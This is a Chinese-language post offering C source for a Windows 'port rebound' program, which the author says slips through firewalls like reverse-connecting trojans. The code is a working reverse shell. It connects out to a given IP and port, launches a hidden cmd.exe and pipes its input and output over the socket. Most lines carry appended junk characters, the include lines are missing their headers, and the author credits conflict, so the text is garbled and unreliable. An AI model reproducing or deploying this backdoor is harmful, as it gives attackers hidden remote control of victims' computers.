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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j?cE0 hz  
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/* ============================== 8X2NEVH]  
Rebound port in Windows NT Lb%Wz*Fa%!  
By wind,2006/7 uS,XQy2  
===============================*/ VsMTzGr  
#include ]2o?Gnn@  
#include zz~AoX7V6  
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#pragma comment(lib,"wsock32.lib") L]|[AyNu  
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void OutputShell(); xHY#"   
SOCKET sClient; 1 n<7YO7}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OKp0@A)8  
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void main(int argc,char **argv) 2YL)" w  
{ v08Xe*gNU  
WSADATA stWsaData; ;`MKi5g  
int nRet; fu6Ir,  
SOCKADDR_IN stSaiClient,stSaiServer; 57eA (uI  
5 U{}A\q  
if(argc != 3) 5t&;>-A'?'  
{ Rr/sxR|0_  
printf("Useage:\n\rRebound DestIP DestPort\n"); MehMhHY  
return; wnoL<p  
} V:vYS  
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WSAStartup(MAKEWORD(2,2),&stWsaData); xsIuPL#_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?* %J Gz_  
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stSaiClient.sin_family = AF_INET; BYBf`F)4  
stSaiClient.sin_port = htons(0); Q(J6;s#b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +:&,Ts/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _R?:?{r,  
{ ic_q<Y}  
printf("Bind Socket Failed!\n"); LmQS;/:  
return; Y^~Dr|5%  
} )k}UjU`!  
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stSaiServer.sin_family = AF_INET; Lupug"p0   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3HP o*~"]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {x#I&ra  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `78:TU~5S  
{ nr t3wqJ  
printf("Connect Error!"); x&SG gl  
return; ogrh"  
} [h GS*  
OutputShell(); D|`I"N[<  
} KiDL]2  
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void OutputShell() <FfdOK_  
{ d/fg  
char szBuff[1024];  gh{Z=_  
SECURITY_ATTRIBUTES stSecurityAttributes; im6Rx=}E{  
OSVERSIONINFO stOsversionInfo; fi6i{(K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V#Hg+\{d  
STARTUPINFO stStartupInfo; ?7Y6: zo$^  
char *szShell; yp}a&Dg  
PROCESS_INFORMATION stProcessInformation; A+:X  
unsigned long lBytesRead; (rM-~h6g  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !BocF<UE  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $Z!$E,@c  
stSecurityAttributes.lpSecurityDescriptor = 0; ,1}c% C*,Q  
stSecurityAttributes.bInheritHandle = TRUE; tS2Orzc>,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z+qTMm  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^` 96L  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q>,EYb>wI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :slVja$e  
stStartupInfo.wShowWindow = SW_HIDE; VhWF(*  
stStartupInfo.hStdInput = hReadPipe; nbVlP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +EtL+Y (U  
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GetVersionEx(&stOsversionInfo); \ nIz5J}3  
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switch(stOsversionInfo.dwPlatformId) a<W[???m/M  
{ HR/"Nwr  
case 1: O[tOpf@s.  
szShell = "command.com"; :KJG3j?   
break; K,VN?t <h  
default: WxN@&g(  
szShell = "cmd.exe"; xS4B"/  
break; !OVTs3}  
} 3M;[.b  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qMk"i@"  
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send(sClient,szMsg,77,0); _o 2pyV&  
while(1) v-V#?+#  
{ ]w3-No  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O[N}@%HMW  
if(lBytesRead) ^* xhbM;  
{ M!{;:m28X!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <$f7&6B  
send(sClient,szBuff,lBytesRead,0); 3Ishe"  
} ^x! N]  
else ux[h\Tp  
{ :V(+]<  
lBytesRead=recv(sClient,szBuff,1024,0); 6vx0F?>_  
if(lBytesRead<=0) break; V/=NIeSE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }`O_  
} >O{U4_j@(  
} SMMV$;O{9  
DrG9Kky{  
return; ST#OO!  
}
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